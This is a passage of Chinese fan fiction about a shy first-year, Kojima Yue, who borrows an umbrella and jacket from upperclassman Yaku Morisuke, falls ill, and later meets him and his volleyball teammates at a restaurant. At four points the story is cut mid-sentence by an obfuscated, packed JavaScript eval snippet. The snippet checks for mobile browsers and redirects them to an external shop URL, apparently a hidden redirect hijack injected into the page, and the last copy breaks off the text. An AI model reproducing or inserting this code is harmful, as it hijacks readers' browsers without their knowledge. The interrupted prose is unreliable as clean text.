《我和夜久前辈的二三事》 1. 一个小岛 离开学校的时候黄昏已进入末尾，我遥遥看了眼日落的方向，金黄的太阳早已没入地平线，天色暗沉。 雨滴拉成丝，被风吹着飘落在脸上，有些痒，我握着相机的手紧了紧，下意识抬眸看向天上飘满的乌云。 明明早上出门的时候天气预报还说今天是晴天的……这差的也太多了吧，都下雨了。 相机进水会影响精度的，这可是我花大价钱刚买的相机啊。 按下原本边往家走边筛选一下刚刚去拍的照片的准备，我顶着丝丝缕缕落下的毛毛雨迅速脱下外套将相机裹了起来，确定没有空隙之后便将其抱进怀里。 原本就为了远离人群而习惯性一味紧贴着路边走，身旁静静伫立在绿化带里的大树也很好心地帮我挡了挡雨——但雨势大点之后就不好心了，会很可恶地带着树叶灰尘砸在身上。 定了定神，我观察两秒似乎已经比最初变大了些的雨势，再思考了一下怀里薄薄的春秋校服外套能不能抵挡住不出意外会越来越大的雨势。 离家还有最少十七八分钟的路程……要不跑回去吧。 小时候被阵平哥带着锻炼了蛮长一段时间，虽然已经荒废好几年了，但跑一段走一段地回家…… ……应该也没什么问题吧。 还犹犹豫豫地没彻底做好决定，忽地擦过眼睫的豆大雨滴便猛地吸引了我的注意。 我吓了一跳，下意识顺着下落轨迹低头看过去，却只望见有一滴参杂着树皮碎片的雨迅速没入柔软的布料中，只留下两个小黑点。 像是按下了什么开关一样，原本丝丝缕缕的雨势骤然大起来，落下来不像原本只悄无声息地没进衣服中，多出的水意触到皮肤，泛起冰凉的湿润感觉。 第一滴、第二滴、第三滴。 越来越多的雨滴砸在身上，雨势的突然加大只让我觉得猝不及防，完全没有预料到地有点狼狈地躲了下，便下意识环视一圈，试图找个可以躲雨的地方。 这个雨势，就算不继续加大，再淋个三四分钟，本来就单薄的外套便注定被淋湿，里面的相机也跟着难以幸免，至于如果加大…… 三四分钟都撑不到吧，相机的下场也不言而喻了。 不自觉抿了抿嘴唇，我抱紧了怀里的相机，原地掉了个方向，有些仓促地冲到一家便利店门口的台子前。 踏进淋不到雨的地方，我第一时间先检查了一下相机，确定因为及时避雨、它并没有受到什么伤害后才微微松了口气，随后才开始查看自己的状态。 因为雨刚开始下大我便当机立断找了地方避雨，所以我身上顶多有些浮在表面的雨珠，拍拍也差不多没了，总体能称得上一句干爽。 用手抹了把脸，把浸湿粘在脸上的发尾拨开，我再次抬眼看着在我眼皮子底下慢慢变大的、噼里啪啦的雨，莫名有些惆怅。 ……不能直接冒雨回家啊。 要是只有我自己倒还好，反正淋回去最差也就是感冒，第二天请假就好，但加上相机…… 这可是我前几天刚花了大价钱买回来的相机，我被淋透了它都不能被雨淋到，绝对不能。 ——passpass。 盯着连成丝的雨幕看了好半晌，我不自觉伸手，摸了摸制服裙的口袋。 除了手机外空空如也。 我抑制不住地叹了口气：……好倒霉。 取完材走的时候没想起来回教室拿包，后面发现的时候又觉得反正作业写完了，放学校就放学校好了，也不会出什么问题，结果转头就下了雨。 伞在包里、防水的相机包在包里、可以让我去买伞回家的钱包也在包里，这家便利店还是只支持现金和银行卡支付的那种类型。 堪称是天不时地不利人不和的场合……倒霉透了。 ……也不知道雨会下多久。 这么想着，我下意识抬头看了看天。 雨很大，噼里啪啦地砸下来时冷风裹挟着一股子湿意吹过来，我不自觉打了个哆嗦，下意识又往后站了站。 这雨看起来蛮大，没准过了几个小时都停不了……总不能一直等下去吧。 犹豫又纠结着下不了决心的空档，耳边忽地逐渐响起了些微嬉笑打闹的声音。 我下意识循声抬眸瞥了眼，隔着身前的雨幕依稀辨认出是几个穿着音驹运动服的人……啊，是部活结束后一起回家的同社团的前后辈吧。 现在好像差不多是部活结束后的时间。 我不大感兴趣，只是草草掠过便收回视线。 声音逐渐大了起来，隔着雨声听不太清——啊，当然，我没有偷听他们说话的想法，只是随着距离拉近，总归还是会有一个两个的音节飘进耳朵里。 “…Yaku桑……”什么的。 是人名吧。 因着说话的声音和内容都有些微妙的耳熟，我眨了眨眼，下意识顺着发声的地方瞥过一眼。 ——然后蓦地和一双棕色的眼睛对上了视线。 ！！！！ 几乎是瞬间，我浑身一僵，几乎是下意识地迅速移开视线，条件反射地抿紧了唇。 ……刚刚是和那个男生对视了吧？是吧？？救命救命救命救命救命——不管怎么说在没有心里准备的情况下和一个陌生人对视这种事都有点太恐怖了……没有说有准备的时候对视就不恐怖的意思……！ 来便利店应该是来买东西的吧……？那买完就快点好了…不要再出现在我面前了……好尴尬。 下意识的，我自欺欺人般撇开视线望向另一侧，再退后两步，试着将自己缩进角落里、削减自己本就不太多的存在感。 但下一刻，我却忽地听到一个熟悉的明亮嗓音。 “……小岛游？” 男生语气带着微妙的犹疑，本就有些气弱的嗓音混在雨声中显得更加飘忽，透出股强烈的不确定感，却还是精准地、让我毫无假装自己没听到的辩驳空间地钻进耳朵。 ……是我那位自来熟的后桌，灰羽列夫。 我深吸一口气，舌尖抵住上牙膛，心知这家伙绝对是那种就算没应声也会凑上来确认的类型，便认命般提起点回复的精神，将头转了回来，有点勉强而有气无力应了一声，“……嗯。” 灰羽大惊，睁大他那双有着绿色瞳孔的眸子，震惊地看着我，“你怎么现在还没回家，不是没有参加社团吗？” “……啊，”我默了两秒，含糊地应了一声，“去取材……拖的有点晚。” 这是实话，我本来也没想到自己会到这个点才结束准备回家，更没想到这么巧的就下雨了。 沉默了一会儿，我抬眼瞧他两眼，想到这家伙一向热心，不禁踌躇了一会儿。 纠结半晌，我犹豫地、气弱地开口，“灰羽，你……你有防水的袋子吗。” 伞……灰羽自己就没带伞。 虽然对面除了灰羽还有其他的前辈，但被素不相逢的后辈借伞不管怎么样都会感到为难的吧……干脆就不说了。 空气沉默两秒，我下意识抬眸瞄了一眼，却发现灰羽正一脸“啊？”的看着我，看起来完全没听懂我的话的样子。 我不禁深吸了一口气，再次感觉到了一丝熟悉的心累感。 ……才开学多久，怎么我对他的反应就堪称习以为常了。 微微沉默两秒，我把怀里小心护着的相机掏出来给他看了一眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309351|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 感受到因我出声而落到我身上的三两道视线，我顿了顿，有点不自在地继续开口，声音却越来越小，“相机沾水容易报废，但就算裹上外套跑回去，时间不够外套也会一起湿……所以想问一下有没有防水的袋子……没有也没关系……” 感觉气氛有点不对，我迟疑的停住话语，抬眸小心地看了眼。 面前最近的灰羽还是一副正在反应中的样子，其他跟他一起来的人见与自己无关，都纷纷收回了视线直接进店，但除了灰羽，另外还有一个可能是稍慢一步所以现在还没进店的人。 是我刚刚不小心对视的那个人……救命，怎么这么巧，而且他为什么看起来一脸微妙的样子？ 没人说话，气氛一时有点凝固。 我有些不安地揪住手，半晌垂下眼，盯着脚下混杂了雨水、被来往行人踩过后呈灰黑色的污水，不自觉有点后悔。 贸然求助别人果然还是有点冲动……我凭什么让人家帮我啊。 救命、救命……别这么安静，拜托了。 后悔感愈发强烈，但在升出想要逃离这里的想法之前，我忽地听到一道声线清朗的男声……怎么有种没有经过变声期的感觉？ 对方语气纠结，“你……好歹也注意一下自己吧，这个温度再淋雨会感冒的啊。” ……啊？ 于我下意识抬起的视野中，一分钟前刚与我对视了的那双棕色眼睛的主人正一脸的欲言又止，大概是因为觉得同初次见面的人说这些并不礼貌。 但，他还是犹豫地、纠结地、带着些不自觉的担忧和关切地这么对我说。 我不自觉呼吸一滞，下意识微微睁大眼。 他因没人回话而不自在地移开了视线，低头，动作利索地从斜挎着的包里翻出了一把看起来像是备用的一把伞——因为那把伞很小，最多最多也只能将将撑一个人。 他随即顿了顿，犹豫两秒，又把原本好好搭在臂弯的运动服外套拿起，上前两步，同雨伞一并递给我。 他开口前似乎是纠结了一会儿，微妙地顿了顿，才继续道：“外套是昨天刚洗的，不介意的话穿上挡挡风吧，你这样回去容易着凉，感冒就不好了。” 我有些怔愣地望着他。 ……不是，等等。 真的有人会有人把自己的东西借给一个完全不认识的人、吗？ 一时怔住，我一时有点迷茫地望着他，半晌，有点懵地微微睁大了眼。 他似乎从我的沉默中解读出了什么，顿了顿，将自己另一只手中拿着的伞提了提，在我眼前晃了一下，“没事的，我自己有伞，也不冷。” 我张了张嘴想说些什么，最后又哑然地闭嘴，半晌才伸手，接过他递来的伞和外套，顿了顿，有些干涩地开口，“……谢谢。” 见我接过，他颇有些如释重负的松了口气，友好的对我笑了一下，偏圆的棕色眼睛顺势眼尾微微上扬，看着一瞬间有些像猫瞳。 他身后的雨幕雨幕暗沉，便利店内的灯光照在他脸上，将瞳孔反射出了些细碎的光，我盯他两秒，忽地感觉手里接过的外套似乎还带着些温度，甚至有点烫手。 指尖不受控制地轻颤了一下，问突然有些后悔自己竟以这幅狼狈的姿态出现在他面前。 张了张嘴，我低声道：“我叫小岛游绘，一年三组。” 他微怔，片刻后没忍住般地笑了一下。 “我叫夜久卫辅，三年五组。” YakuMorisuke……几个音节在唇齿间转了一圈，我默念一遍，忽地想起什么。 再度抬眼，我悄悄地、仔细地打量他的脸。 原来Yaku……就是他啊。 2. 两个小岛 把那把深蓝色的折叠伞抖开，我理了理这件对我来说有些宽大的外套的领口，试图用衣领将脖子一起罩住吹不着风，但手放在拉链上顿了很久，最终还是放弃了这个念头。 ……总觉得把不熟的人的外套拉链拉到最上面怪怪的。 这么想着，我最终只是将外套套上，任它松松垮垮挂在身上。 偶尔一阵风吹过来，我一激灵，打了个寒颤，下意识重新拢了拢外套，勉强抵御了一下吹过来的冷风。 刚刚跑的时候不觉得，现在在这站了会儿，却莫名感觉冷好多。 ……这个温度就算不淋回家也会感冒吧，我衣服穿少了。 我一边在心里嘀咕，一边把已经抖开了的伞拎起来，握住手柄将其撑开。 一手抱着相机，一手撑着伞，我踏进雨幕前犹豫了一会儿，回过头，看向了正在便利店里买东西的那几个音驹学生。 红色很显眼、浅色的头发更是很好辨认。就算隔着一层玻璃门，我也很快分辨出来，略过了另外几个人，看向了那位借我伞的好心前辈。 ……只说礼貌的话，是不是要专门道个别啊？ 踌躇半晌，我还是觉得我不太能接受等他们出来再专门道别这种事情，于是纠结准备收回视线，却突然发现被我所注视着的人似有所察地转头看了过来。 我条件反射地撇过脸，盯着玻璃门上贴着的宣传海报怔了一会儿，半晌，又小心翼翼地看了回去。 他依旧还望着我的方向，这会儿便精准注意到我的视线，毫不避讳直率地冲我笑了笑，随即挥了挥手。 他放慢了语速，一字一句冲我比口型。 许是怕我认不出来太长的话，他只简短地说了一句话。 【拜拜。】 “……拜拜？” 我小声地道了一句，大概是只有我自己听得到的音量，没在雨声中甚至可以说小得有些可怜了。 索性这本来也不是非要让别人听到的。 虽然的确是“说给某个人听”的话……但这句话的主人公此时正在一玻璃门之隔的便利店里，总归是听不到的。 这么想着，我最后看了一眼，便撑起伞踏入雨幕。 隐隐出着神，我心不在焉地踏着熟悉的道路回家，直至视野中出现熟悉的门板，才后知后觉地意识到自己不知不觉间已经到了家。 微妙地站在原地停顿了两秒，我思考不出个所以然来，便索性不再管这么多，从口袋里摸出钥匙，再熟门熟路地摸黑把钥匙插进锁孔。 开门收伞，伞面上浮着的雨滴便唰啦啦落下，我低头看了眼滴到鞋面上的雨滴，不太在意地拎着还淌着水的伞走进家门。 进门是一片黑，静悄悄的，耳边仅有雨滴噼里啪啦砸在屋檐上的声音和细微的电器运转的声音，显得有些冷清。 空无一人。 索性我很早就习惯了这样的家，便也没升起什么多余的情感，只伸手开灯，随即蹲在玄关换鞋。 然后踩上拖鞋，第一时间将不知道有没有湿掉的相机用餐巾纸擦了一遍，再将其放进干燥箱。 ——希望不要因为淋了一点雨就影响到精度。我真心实意地这么想。 简单处理完了唯一要在意的东西，我拨了拨湿润的头发，准备去洗个澡。 拿上换洗衣物，我进了浴室。 把衣服脱掉扔进脏衣篓里之前，我看着手里红色的外套沉默两秒。 忘了提前放外面了……但懒得再出门放了。 我便把外套抖了抖抖平整，把它妥帖折好放到了旁边的洗手台上。 洗完澡，鉴于今天淋了雨，又吹了冷风，我谨慎地思考两秒，决定再泡一会儿澡。 全身浸在微烫的热水里，我安安静静地盯着雾气蒸腾的天花板，困顿逐渐席卷了意识。 但好心前辈借给我的外套还没洗……不能睡。 我尽力睁大了眼睛，尽力保持清醒的同时，不自觉开始放空思绪。 ……没记错的话，受到别人的帮助的话，时需要表达感谢的吧。 短暂用在这方面多少有些贫瘠的知识储备思考了两秒，觉得自己没有记错，便转而思考起谢礼的选择。 嗯……买之前吃过的那家味道很不错的和果子给他当谢礼好了，礼盒装的，没有贵重到那个程度，也不至于太敷衍。 就这么办吧。 ＃ 再泡了会儿，等水温稍微凉下去点，我便从浴缸中起身，慢腾腾地擦干身体，换好衣服，在肩上披了条浴巾，便抱着换下来的衣服将其塞进洗衣机。 另外把那位好心前辈的外套分出来，放进家里几乎没怎么用过的第二台洗衣机里，我按下开关。 再转而回了卧室，我开灯，拖了把椅子坐下，又把手机放在腿上，一边擦头发一边看错过的消息。 消息栏有一条新的消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309352|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，来自灰羽。 【灰羽：你到家了吗？】 我盯着消息疑惑两秒，又转眼看了下联系人。 ……是灰羽没错啊，他被盗号了？ 一边疑惑地想着，我一边回他消息。 【游：已经到了】 【游：刚刚没看手机，怎么了？】 有些好奇，我便停在这个页面等了会儿。 对面似乎正好在看手机，消息很快显示了已读，他的消息紧跟着发过来。 【灰羽：没怎么啊】 【灰羽：夜久前辈叫我问你到家没有，说雨天你一个人回家有点担心】 【灰羽：你还好吧？】 ……我就说吧，灰羽哪有这么细心。 视线在屏幕上那个【夜久前辈】上停了半响，我把浴巾往头上一搭，双手握住手机，短暂思考了一下措辞。 【游：还好？应该没什么事】 【游：我在吹头发呢】 【灰羽：哦哦那你吹吧，拜拜】 ……喔。 短暂卡了两秒，我纠结半天，最后还是没想好怎么回他，便戳了个小猫的表情包过去。 毕竟留的是短发，擦过之后再吹就干得很快，我拨了拨垂在耳侧，只是稍微还有些湿意的发丝，确定已经吹好了，便将吹风机放回原位，随即再收拾了一下浴室，就关灯关门。 外界雨声依旧，甚至比回家的时候还大了好多。 嗯……幸好刚刚没想着等雨停再回家。 我庆幸地这么想着，回房间套了件厚些的外套，便下楼去，准备去厨房找点什么吃的垫垫肚子。 ……虽然不出意外只有饭团和速食食品就是了，毕竟我不会做饭，家里连厨具都没有，只有偶尔会用到底微波炉和烤箱。 这么想着，从冰箱里拿出一个饭团，用微波炉热了一下吃掉简单解决掉晚饭，我便回到玄关，将刚刚只草草放下的、借来的伞重新撑开，放在玄关晾着。 再看会儿手机，回一下熟识的两个哥哥发来的消息，等估摸着到了时间，就上楼，将洗好的衣服放进烘干机。 ——明天又要将外套还给前辈，今天又下雨，湿气重，只普通挂起来晾的话明天估计干不了。 还是用烘干机烘吧。 烘干完已经快九点，我把衣服收回来依次叠好，再去刷了个牙，就睡觉去了。 明天还要去学校呢……晚安。 3. 三个小岛 一夜无梦。 ……总感觉这么说不太对，但仔细想想，又感觉这么说其实也没错，毕竟也的确没有做梦来着。 只是大半夜不知道为什么突然醒了，我昏昏沉沉地翻了个身，将厚被子团了团抱在怀里，又低头，将脸颊陷在柔软的被子里蹭蹭，再重新闭眼。 ……但没睡着。 我慢半拍地感受到身体各处传来的灼热滚烫感。 ………… …… ……发烧了？ 反应迟钝地抬手盖上额头，感受着掌心源源不断传来的滚烫热意，我沉默两秒，有点难以抑制的疲惫从心头冒出来。 不出意外的话就是回来的路上吹风着凉了……明明泡了热水澡啊。 ……好难受。 没记错的话，家里的冰箱是有降温贴的来着……去贴一个吧。 这么想着，我下意识顺着想法掀开被子，却忽地被顺势钻进来的冷空气冻地打了个哆嗦。 条件反射地把被子重新盖回来，我盯着天花板看了半晌，安静地思考一会儿。 跟班主任请假的时候需要报一下体温数值，就算不去拿降温贴也一定得起床……那还是现在就起吧。 原地做了一会儿心理建设，我掀开被子一角，慢腾腾地将自己挪出温暖的被窝，然后迅速将被子盖了回去，以保持被窝原本的温度。 拿起旁边冬天穿的、还没来得及收起来所以搭在椅背上的厚外套穿上，我揪着外套两边将自己捂上，随即开着手机的手电筒，从书桌的抽屉里翻箱倒柜地找出了买过来但没怎么用过的水银体温计。 对着细细长长的冰凉体温计做了下心理建设，我甩了甩，确定里面的水银柱已经下去了，便扯开衣领夹进腋下。 昏头昏脑地扯开椅子窝在上面坐了会儿，到了时间再取出来，借着手机手电筒发出的光找准角度看了看。 38.3℃。 不算严重……但症状也好像没有微弱到那个程度。 大脑昏昏沉沉的，我头晕得难受，忍不住有点疲惫地揉了揉太阳穴，随即起身，摸着黑下楼。 从冰箱里翻出很久以前买的降温贴，我撕开包装，掀开刘海将它贴到额头上。 ——然后被这东西冰得一哆嗦。 捂着脑袋倒吸一口凉气，我缓了缓，感觉被这么一冰，人都清醒不少。 夜晚的冷空气顺着裤腿钻进来，我搓了搓泛着热意的脸，关上冰箱，便重新上楼去。 回到卧室，我重新掀开被子钻进去，感受到还未彻底散去的温度时，不自觉微微松了一口气。 现在脑袋还算清醒，我在被子里窝了一会儿，没什么睡意，便先摸出手机。 现在刚凌晨三点半多，我划了划手机屏幕，随即点开和班主任的聊天框。 斟酌着用词，我打完短信，便重新检查了一遍自己的敬语，确定没问题后便按下发送键。 莹莹的白光洒在脸上，我盯着其上的页面看了两秒，慢半拍地想起件被我遗忘了的事情。 啊，明天我是打算把外套还给那位很好心的前辈的来着…… 犹豫两秒，我切出页面，点开和灰羽的聊天框。 目之所及最近的一条消息是我睡前发的那个小猫表情包，底下还明晃晃地标着未读。 也就是说灰羽在那之后就没再看过消息……已经睡了？他作息还挺规律的啊。 这么想着，我给他发了一条消息过去。 【游：灰羽，你能给我推一下夜久前辈的联系方式吗…】 【游：我吹了一路风回来有点发烧，明天应该去不了学校，没法把外套还给夜久前辈】 【游：[小猫哭哭]】 因着确定消息不会被看到，所以我便也没想着等他回消息，发完消息之后便收了手机，重新盖好被子，便陷在柔软的被子里安然睡去。 ＃ 这下是真的一夜无梦了。 一觉睡到自然醒，我缩在被子里懒洋洋地打了个哈欠，安静着发了会儿呆，便想起些什么，四处摸了摸，将旁边被子里的手机捞过来。 熟门熟路地开机，映入眼帘的首先是“8:23”的时间，然后再是灰羽连续发来的好几条消息。 【灰羽：什么！！你还好吗？需不需要我帮你请假？】 他似乎是从我发过去的表情包中意识到了什么，开始安慰我，【事出有因的话夜久前辈是不会介意你还外套还的比较晚的，不用担心！】 心头缓缓流过一丝暖意，但再重新琢磨一遍他的话，我又不自觉将微微上扬了几分的唇角拉平。 灰羽的那个说法……总给我一种好像没准备帮我推一下联系方式的感觉。 ……算了，反正本来找灰羽帮忙传一下话其实也不是不可以……应该是昨天晚上太困了，才会不经大脑地提出这样的请求吧。 稍微有些失望地微微叹了口气，我抿了抿唇，随即继续往下滑。 迎面而来的是一行英文字符串。 【灰羽：这就是夜久前辈的ID，你直接加就好，我已经跟他说过了！】 【灰羽：不用紧张，放轻松放轻松，夜久前辈人很好的！】 ……诶？ 灰羽原来以为我是怕会被责怪吗？ 不自觉伸手抓了抓脸颊，我出神了两秒。 啊……虽然这么说感觉会有点辜负灰羽的好意，但我其实从来没有预想过夜久前辈会因为我第二天因为生病而没办法准时将外套还给我而生气。 会因为那种原因把自己的外套借给素不相识的后辈的人……不管怎么说都不可能因为我因为发烧了而没办法在第二天把外套还给他而生气的吧。 真要说的话……他的反应更可能是担心我的身体才对吧，毕竟昨天就有说过这样的话来着。 这么想着，我下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309353|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手碰了碰额头。 触到的温度还是带着发烧后升起的热意，但跟昨天相比还是稍微降了一点，已经没有昨天这么热了。 啊……说起来，昨天是不是忘吃退烧药了？ 思绪一顿，我沉默两秒，默默抛开这个话题，将注意移到眼前的屏幕上。 我先回了他最开始的那条消息。 【游：我还好，只是稍微有点着凉而已】 【游：已经跟老师请过假了，谢谢你】 顿了顿，我看着他后半段有关于夜久前辈的消息琢磨了一会儿，一时不知道怎么回这段消息。 最后，我想了想，戳了个[谢谢]的表情包过去。 消息一直没显示已读，我便复制了他发来的ID，转而粘贴到搜索框里。 第一个弹出来的是一个叫做【Yaku】的用户……啊，都不需要找灰羽确认了，很轻易得就能辨认出来啊。 盯着页面看了两秒，我戳了下屏幕，向【Yaku】发送了好友申请。 而后我便按灭了手机，掀开被子爬起来，将昨天晚上脱下来随便扔到旁边的外套重新扒拉回来穿上，便起床去洗漱。 随手将额头上的降温贴撕下来扔到旁边，我顺着发根向后理了把头发，随即对着镜子看了看自己的脸色。 啊……感觉跟平时相比竟然意外多了点血色，是因为发烧了吗？ 这么想着，我搓了搓脸，揪了根皮筋过来，把长到脖子中间、所以容易在洗脸的时候被沾湿而有些不方便的短发扎起来，随即弯腰开始洗脸。 洗漱完，我甩掉手上残留的水滴，便下楼准备找点什么东西垫垫肚子。 拎上两片红豆吐司和一瓶牛奶，我弯腰坐在茶几前，一边给牛奶插上吸管，一边拿起手机，习惯性看了眼消息。 ……啊，好友申请不知道什么时候已经被通过了。 下意识直起身子，我不自觉捏住手指，如临大敌地盯着屏幕看了一会儿，半晌，才伸手点进聊天框。 对面已经发来了一条消息。 【Yaku：你好？】 我稍微踌躇了一会儿，才开始往消息栏里打字。 【游：夜久前辈你好，我是昨天找你借了伞的小岛游绘】 【游：昨天晚上才发现自己发烧了，今天就请假了没去学校，可能明天才能把外套还给你】 【游：非常抱歉……】 【游：[双手合十表情包]】 对方应该正巧在看手机，所以消息很快就显示了已读，我稍微惊了一下，便看到对面发来的、不知为何显得有些匆忙的消息。 【Yaku：欸欸？】 【Yaku：没事的没事的，不用着急】 【Yaku：你好好休息就好，注意身体，不要勉强自己】 我盯着屏幕看了两秒，不自觉轻轻嘶了声。 ……还真没猜错啊。 4. 四个小岛 盯着屏幕看了两秒，我点开表情包，挑了个[点头]的表情包发过去。 对面很快回了个[摸摸]的表情包过来。 【Yaku：好好休息】 【游：好哦】 回完消息，再稍微等了一会儿，确定这次对话已经到此结束了，我便切出聊天软件，转而去预定我很喜欢吃的那家和果子。 我口味是偏淡的类型，重油重盐的东西吃起来会比较不适应，太甜的东西吃多了也容易被齁到，所以能被我青睐的甜点通常情况下都是那种不算很甜的类型。 听灰羽说他自己就不是很热衷于甜食……那送不太甜的和果子的话，不说形式，至少口味应该不会出什么大问题。 比如给不嗜甜的人送太甜的东西之类的话。 在平台上选好了送来的时间，我把剩下一小半吃不完了的吐司放回盘子里，便起身，上楼去把衣服收了。 我的衣服慢些再说，先把夜久前辈的外套掏出来，好好折好，再用从家里翻出的之前送礼的时候没用完的纸袋把外套装好，我这才转而去叠我自己的衣服。 把衣服放回衣柜，再拎着纸袋思考了一会儿，放去了明天出门上学的时候不出意外应该不会忘记带走的玄关旁边，今天要做的事情就算完成。 我想了想，觉得自己现在没有很想去写作业，便剔掉这个选择，转而决定去练练吉他。 我吉他其实弹得还不错来着，当初学得时候很上心，学得认真，加上天赋应该也还不错、毕竟之前的吉他老师甚至有为此对我抛来过橄榄枝（虽然我之后没过多久就不再去上课了），所以技术精进得很快。 虽然后面随着热情淡下来，花在上面的时间也逐渐少了很多，但因为有经常练习的原因，便也没有生疏。 不过最开始学的原因倒是忘得差不多了……回过神来的时候已经学了好久了。 不过也不太重要啦，反正一直弹下去也没什么不好，反正我未来就算不找工作也饿不死自己……应该是这样的？ 虽然父母离婚之后没人管我（所以我一直独居到现在），但我家其实还挺有钱的，每个月父母两方转来的生活费累加在一起已经一个很庞大的数额。 我平时的开销不大，加上他们会负担房子的水电费之类的花销，所以每个月攒下来的钱基本能存下来百分之八九十，攒了这么多年下来，其实已经足够我接下来像现在这样不去工作的过一辈子了。 毕竟我现在住的房子也在我名下来着。 嗯……不过我成绩还蛮好的，将来不至于找不到工作，所以未来到底要去做什么也不一定。 到时候再说吧。 这么想着，我翻出谱子架在面前的桌子上，开始按着谱子练习。 # 一天都在浓厚的学习氛围中度过，不知不觉间连中饭都错了过去，直至一天下来只吃了点面包和牛奶的胃部发出抗议，我才后知后觉地回过神来，看了眼时间，开始思考晚上吃点什么。 不是很想在家点外卖……我记得灰羽好像跟我说过，学校附近有家味道还不错的店来着，去那吃吧。 简单做好决定，我看了看时间，见已经到饭点了，便索性直接将吉他收了起来，再上楼换了身衣服。 这两天天凉，我便除了在长袖长裤里套了保暖衣之外，还多加了一件外套，裹得很严实，因为还有有点低烧没退下去，就又多带了个口罩。 没带别的东西，我对着镜子理了理衣领，便单带着手机出门去了。 想去的店的位置不难找，跟着导航走了二十来分钟之后就到了位置。 唔……不过没想到店里看起来排队的人不多，但是意外的没位置啊。 四处看了眼，没看到排队的人，但也的确没有多余的位置，我不自觉抿了抿唇，在心中微微叹了口气。 感觉稍微有点倒霉……不过人不多的话应该不用等多久，稍微等一下吧。 这么想着，我取了号，便退后两步站到不会影响到后来的客人的位置，抬头盯着菜单看了会儿。 灰羽自己就喜欢吃寿司，他倾情推荐的店铺至少味道不会很差，那点寿司应该不会出错……划掉不太感兴趣的寿司种类的话，剩下的再挑几种比较常见不容易做难吃的寿司就好。 除了寿司再点些别的什么东西吧……咖喱味噌汤？或者果汁也可以。 开始纠结要不要点一小份冰淇淋的时候，忽地有阵喧闹声传进耳朵。 我对外界的声音一向不大感兴趣，昨天是因为稍微有点耳熟（现在想来应该是听到灰羽的声音了），今天又没什么特别的原因，我便只又往里侧退了两步，随即下意识低头看向手机。 但随着外面的声音随着距离的接近逐渐放大，而后清晰地传入耳朵，我忽地动了动耳朵。 ……有点耳熟。 “我跟你们说，这家店真的超——好吃的！绝对不会让你们失望！！” 啊，声音正确，内容也跟他之前向我推荐的时候说的话差不多。 果然是灰羽吧，怎么推荐餐厅都用同一套说辞啊。 还记着昨天的灾难现场，我这次便仅仅只是微微侧头看了眼，用余光望过去。 大片的鲜艳红色倒映在眼底，我微微顿了顿，忽地意识到来的人不止昨天见过的那几个人……起码有八九个的样子。 条件反射地收回视线，我下意识重新低头盯向手机屏幕，开始在心里默念——别看到我，拜托了。 还没祈祷多久，下一秒，灰羽惊讶的声音便传入耳畔。 “小岛游？你怎么在这？”他欣喜道，“你已经好了吗？退烧了？” 我默默将脸往口罩里缩了缩，视线不自觉往他身后瞟了瞟，“……出来吃饭，还没完全退烧，但已经好得差不多了，不用担心。” 视线准确落在他身后的人中唯一那个没穿那件红色外套的浅发男生身上，我从灰羽身前探头，朝他问了声好。 “夜久前辈下午好，”我组织了一下措辞，小心道，“外套已经洗好了……但没想到会在这里遇见你，我明天会按时给你送去的。” 正在和身旁的一位个子很高的黑发前辈吵些什么的浅发前辈闻言侧眸看过来，顿了顿，随即也有些惊讶地“诶”了一声，“是你啊。” 他回忆了一下我的话，随即朝我露出一个笑来，语气同刚刚相比和缓不少，“没事的，身体重要。” 他神情不变地伸手给了身旁一脸调侃的黑色鸡冠头一拳，语气自然地问我，“你也是听列夫那家伙的推荐来这里吃饭的？” “嗯，”我点点头，“灰羽说这家味道很好，我不知道晚上吃什么，所以就想着来这里试试。” 说着，我回忆着社交礼数，尽力压下心中隐隐冒出来的逃避心理，礼貌性地张口，“……各位前辈好，我是一年级的小岛游绘，灰羽的同学。” 理了个和尚头的前辈率先笑眯眯地回了个招呼，在一众看起来还没反应过来发生了什么的前辈中显得有些显眼。 不过这和我没什么关系……总之，一切顺利，我便不自觉微微松了一口气。 啊，不过…… 看着对面的人群忽地乱起来，依稀可以从窃窃私语中听出什么“列夫”“夜久前辈”“女孩子”的字眼，我不自觉有点茫然地眨了眨眼。 ……这什么情况？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 